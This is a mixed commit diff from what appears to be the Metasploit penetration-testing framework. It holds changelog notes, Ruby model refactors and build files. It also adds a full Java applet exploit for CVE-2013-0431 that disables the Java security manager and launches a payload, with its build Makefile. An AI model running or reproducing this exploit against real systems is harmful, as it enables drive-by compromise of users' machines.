TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
try {
long size = Long.parseLong(value + "");
String units = "ms";
if (size > 1000) {
size = size / 1000;
units = "s";
}
else {
((JLabel)c).setText(size + units);
return c;
}
if (size > 60) {
size = size / 60;
units = "m";
}
if (size > 60) {
size = size / 60;
units = "h";
}
((JLabel)c).setText(size + units);
}
catch (Exception ex) {
}
return c;
}
};
}
public void adjust() {
setShowGrid(false);
setIntercellSpacing(new Dimension(0, 0));

View File

@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
protected JPanel content;
protected CardLayout cards;
protected LinkedList buttons;
protected Properties prefs;
private static class ArmitageInstance {
public ArmitageApplication app;
@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher {
public RpcConnection client;
}
public void setPreferences(Properties prefs) {
this.prefs = prefs;
}
public Properties getPreferences() {
return prefs;
}
public Map getClients() {
synchronized (buttons) {
Map r = new HashMap();

View File

@ -1,6 +1,35 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels

19
external/source/exploits/cve-2013-0431/B.java vendored Executable file
View File

@ -0,0 +1,19 @@
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class B
implements PrivilegedExceptionAction
{
public B()
{
try
{
AccessController.doPrivileged(this); } catch (Exception e) {
}
}
public Object run() {
System.setSecurityManager(null);
return new Object();
}
}

View File

@ -0,0 +1,93 @@
/*
* From Paunch with love (Java 1.7.0_11 Exploit)
*
* Deobfuscated from Cool EK by SecurityObscurity
*
* https://twitter.com/SecObscurity
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
import java.io.*;
import metasploit.Payload;
public class Exploit extends Applet
{
public void init()
{
try
{
int length;
byte[] buffer = new byte[5000];
ByteArrayOutputStream os = new ByteArrayOutputStream();
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("B.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
os.write( buffer, 0, length );
// convert it to a simple byte array
buffer = os.toByteArray();
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
Method method = getMethod(class1, "enter", true);
Object obj = method.invoke(null, new Object[0]);
Method method1 = getMethod(class1, "createClassLoader", false);
Object obj1 = method1.invoke(obj, new Object[1]);
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
Method method2 = getMethod(class2, "defineClass", false);
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
my_class.newInstance();
Payload.main(null);
}
catch (Throwable localThrowable){}
}
private Method getMethod(Class class1, String s, boolean flag)
{
try {
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
Method[] amethod1 = amethod;
for (int i = 0; i < amethod1.length; i++) {
Method method = amethod1[i];
String s1 = method.getName();
Class[] aclass = method.getParameterTypes();
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
}
} catch (Exception localException) { }
return null;
}
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
{
Object obj = null;
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
}
}

View File

@ -0,0 +1,22 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
B.java \
Serializer.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
java Serializer
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
mv B.class ../../../../data/exploits/cve-2013-0431/
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
clean:
rm -rf *.class
rm -rf *.ser

View File

@ -0,0 +1,20 @@
import java.io.*;
public class Serializer {
public static void main(String [ ] args)
{
try {
Exploit b=new Exploit(); // target Applet instance
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(b);
FileOutputStream fos=new FileOutputStream("Exploit.ser");
fos.write(baos.toByteArray());
fos.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

View File

@ -49,11 +49,12 @@ httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version

View File

@ -188,7 +188,9 @@ module Anemone
context,
url.scheme == "https",
'SSLv23',
@opts[:proxies]
@opts[:proxies],
@opts[:username],
@opts[:password]
)
conn.set_config(

View File

@ -1,10 +0,0 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec
group :test do
# rails is only used for testing with a dummy application in spec/dummy
gem 'rails'
gem 'rspec-rails'
end

View File

@ -1,7 +0,0 @@
require 'bundler/gem_tasks'
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
task :default => :spec

View File

@ -1,8 +0,0 @@
class Mdm::CredFile < ActiveRecord::Base
#
# Relations
#
belongs_to :workspace, :class_name => 'Mdm::Workspace'
ActiveSupport.run_load_hooks(:mdm_cred_file, self)
end

View File

@ -1,16 +0,0 @@
class Mdm::WebVuln < ActiveRecord::Base
#
# Relations
#
belongs_to :web_site, :class_name => 'Mdm::WebSite'
#
# Serializations
#
serialize :params, MetasploitDataModels::Base64Serializer.new
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
end

View File

@ -1,35 +0,0 @@
# 2012-04-23
#
# Provides ActiveRecord 3.1x-friendly serialization for descendants of
# ActiveRecord::Base. Backwards compatible with older YAML methods and
# will fall back to string decoding in the worst case
#
# usage:
# serialize :foo, MetasploitDataModels::Base64Serializer.new
#
module MetasploitDataModels
class Base64Serializer
def load(value)
return {} if value.blank?
begin
# Load the unpacked Marshal object first
Marshal.load(value.unpack('m').first)
rescue
begin
# Support legacy YAML encoding for existing data
YAML.load(value)
rescue
# Fall back to string decoding
value
end
end
end
def dump(value)
# Always store data back in the Marshal format
[ Marshal.dump(value) ].pack('m')
end
end
end

View File

@ -1,7 +0,0 @@
require 'rails'
module MetasploitDataModels
class Engine < Rails::Engine
end
end

View File

@ -1,7 +0,0 @@
module MetasploitDataModels
# MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API
# is considered unstable because the database migrations are still in metasploit-framework and certain models may not
# be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API
# the version should remain below 1.0.0
VERSION = '0.3.0'
end

View File

@ -1,22 +0,0 @@
require "spec_helper"
module MetasploitDataModels
describe Base64Serializer do
subject{Base64Serializer.new}
let(:test_value){{:foo => "bar", :baz => "baz"}}
# We make it same way as in class b/c hard to keep a reliable base64
# string literal as a fixture
let(:base64_fixture){[Marshal.dump(test_value)].pack('m')}
it "should turn a Hash into proper base64" do
subject.dump(test_value).should == base64_fixture
end
it "should turn base64 back into a Hash" do
subject.load(base64_fixture).should == test_value
end
end
end

View File

@ -6,13 +6,19 @@
*.gem
# Rubymine project configuration
.idea
# logs
*.log
# Don't check in rvmrc since this is a gem
.rvmrc
# YARD database
.yardoc
# coverage report directory for simplecov/Rubymine
coverage
# generated yardocs
doc
# Installed gem versions. Not stored for the same reasons as .rvmrc
Gemfile.lock
# Packaging directory for builds
pkg/*
# Database configuration (with passwords) for specs
spec/dummy/config/database.yml
# logs
*.log

View File

@ -0,0 +1,38 @@
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
# controlled by running with coverage, so don't explicitly start coverage (and
# therefore generate a report) when in Rubymine. This _will_ generate a report
# whenever `rake spec` is run.
unless ENV['RM_INFO']
SimpleCov.start
end
SimpleCov.configure do
load_adapter('rails')
# ignore this file
add_filter '.simplecov'
#
# Changed Files in Git Group
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
#
untracked = `git ls-files --exclude-standard --others`
unstaged = `git diff --name-only`
staged = `git diff --name-only --cached`
all = untracked + unstaged + staged
changed_filenames = all.split("\n")
add_group 'Changed' do |source_file|
changed_filenames.detect { |changed_filename|
source_file.filename.end_with?(changed_filename)
}
end
#
# Specs are reported on to ensure that all examples are being run and all
# lets, befores, afters, etc are being used.
#
add_group 'Specs', 'spec'
end

View File

@ -0,0 +1,4 @@
--markup markdown
--protected
{app,lib}/**/*.rb
db/migrate/*.rb

View File

@ -0,0 +1,25 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec
# used by dummy application
group :development, :test do
# supplies factories for producing model instance for specs
# Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# auto-load factories from spec/factories
gem 'factory_girl_rails'
# rails is only used for the dummy application in spec/dummy
gem 'rails'
end
group :test do
# In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only
# want rails in :test, factory_girl_rails must also only be in :test.
# add matchers from shoulda, such as validates_presence_of, which are useful for testing validations
gem 'shoulda-matchers'
# code coverage of tests
gem 'simplecov', :require => false
gem 'rspec-rails'
end

View File

@ -1,4 +1,4 @@
Copyright (C) 2012, Rapid7 LLC
Copyright (C) 2012, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

View File

@ -0,0 +1,53 @@
#!/usr/bin/env rake
begin
require 'bundler/setup'
rescue LoadError
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
end
print_without = false
APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__)
begin
load 'rails/tasks/engine.rake'
rescue LoadError
puts "railties not in bundle, so can't load engine tasks."
print_without = true
end
Bundler::GemHelper.install_tasks
#
# load rake files like a normal rails app
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
#
pathname = Pathname.new(__FILE__)
root = pathname.parent
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
Dir.glob(rakefile_glob) do |rakefile|
load rakefile
end
begin
require 'rspec/core'
rescue LoadError
puts "rspec not in bundle, so can't set up spec tasks. " \
"To run specs ensure to install the development and test groups."
print_without = true
else
require 'rspec/core/rake_task'
# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare')
task :default => :spec
end
if print_without
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
end

View File

@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base
serialized_prefs_attr_accessor :time_zone, :session_key
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
#
# Validations
#
validates :password, :password_is_strong => true
validates :password_confirmation, :password_is_strong => true
ActiveSupport.run_load_hooks(:mdm_user, self)
end

View File

@ -0,0 +1,191 @@
# A Web Vulnerability found during a web scan or web audit.
#
# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that
# your patches are reloaded on each request in development mode for your Rails application.
#
# @example extending Mdm::WebVuln
# # config/initializers/mdm_web_vuln.rb
# ActiveSupport.on_load(:mdm_web_vuln) do
# def confidence_percentage
# "#{confidence}%"
# end
# end
class Mdm::WebVuln < ActiveRecord::Base
#
# CONSTANTS
#
# A percentage {#confidence} that the vulnerability is real and not a false positive. 0 is not allowed because there
# shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding.
CONFIDENCE_RANGE = 1 .. 100
# Default value for {#params}
DEFAULT_PARAMS = []
# Allowed {#method methods}.
METHODS = [
'GET',
# XXX I don't know why PATH is a valid method when it's not an HTTP Method/Verb
'PATH',
'POST'
]
# {#risk Risk} is rated on a scale from 0 (least risky) to 5 (most risky).
RISK_RANGE = 0 .. 5
#
# Associations
#
belongs_to :web_site, :class_name => 'Mdm::WebSite'
#
# Attributes
#
# @!attribute [rw] blame
# Who to blame for the vulnerability
#
# @return [String]
# @!attribute [rw] category
# Category of this vulnerability.
#
# @return [String]
# @!attribute [rw] confidence
# Percentage confidence scanner or auditor has that this vulnerability is not a false positive
#
# @return [Integer] 1% to 100%
# @!attribute [rw] description
# Description of the vulnerability
#
# @return [String, nil]
# @!attribute [rw] method
# HTTP Methods for request that found vulnerability. 'PATH' is also allowed even though it is not an HTTP Method.
#
# @return [String]
# @see METHODS
# @!attribute [rw] name
# Name of the vulnerability
#
# @return [String]
# @!attribute [rw] path
# Path portion of URL
#
# @return [String]
# @!attribute [rw] payload
# Web audit payload that gets executed by the remote server. Used for code injection vulnerabilities.
#
# @return [String, nil]
# @!attribute [rw] pname
# Name of parameter that demonstrates vulnerability
#
# @return [String]
# @!attribute [rw] proof
# String that proves vulnerability, such as a code snippet, etc.
#
# @return [String]
# @!attribute [rw] query
# The GET query.
#
# @return [String]
# @!attribute [rw] request
#
# @return [String]
# @!attribute [rw] risk
# {RISK_RANGE Risk} of leaving this vulnerability unpatched.
#
# @return [Integer]
#
# Validations
#
validates :category, :presence => true
validates :confidence,
:inclusion => {
:in => CONFIDENCE_RANGE
}
validates :method,
:inclusion => {
:in => METHODS
}
validates :name, :presence => true
validates :path, :presence => true
validates :pname, :presence => true
validates :proof, :presence => true
validates :risk,
:inclusion => {
:in => RISK_RANGE
}
validates :web_site, :presence => true
#
# Serializations
#
# @!attribute [rw] params
# Parameters sent as part of request
#
# @return [Array<Array<(String, String)>>] Array of parameter key value pairs
serialize :params, MetasploitDataModels::Base64Serializer.new(:default => DEFAULT_PARAMS)
#
# Methods
#
# Parameters sent as part of request.
#
# @return [Array<Array<(String, String)>>]
def params
normalize_params(
read_attribute(:params)
)
end
# Set parameters sent as part of request.
#
# @param params [Array<Array<(String, String)>>, nil] Array of parameter key value pairs
# @return [void]
def params=(params)
write_attribute(
:params,
normalize_params(params)
)
end
private
# Creates a duplicate of {DEFAULT_PARAMS} that is safe to modify.
#
# @return [Array] an empty array
def default_params
DEFAULT_PARAMS.dup
end
# Returns either the given params or {DEFAULT_PARAMS} if params is `nil`
#
# @param [Array<Array<(String, String)>>, nil] params
# @return [Array<<Array<(String, String)>>] params if not `nil`
# @return [nil] if params is `nil`
def normalize_params(params)
params || default_params
end
# switch back to public for load hooks
public
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
end

Some files were not shown because too many files have changed in this diff Show More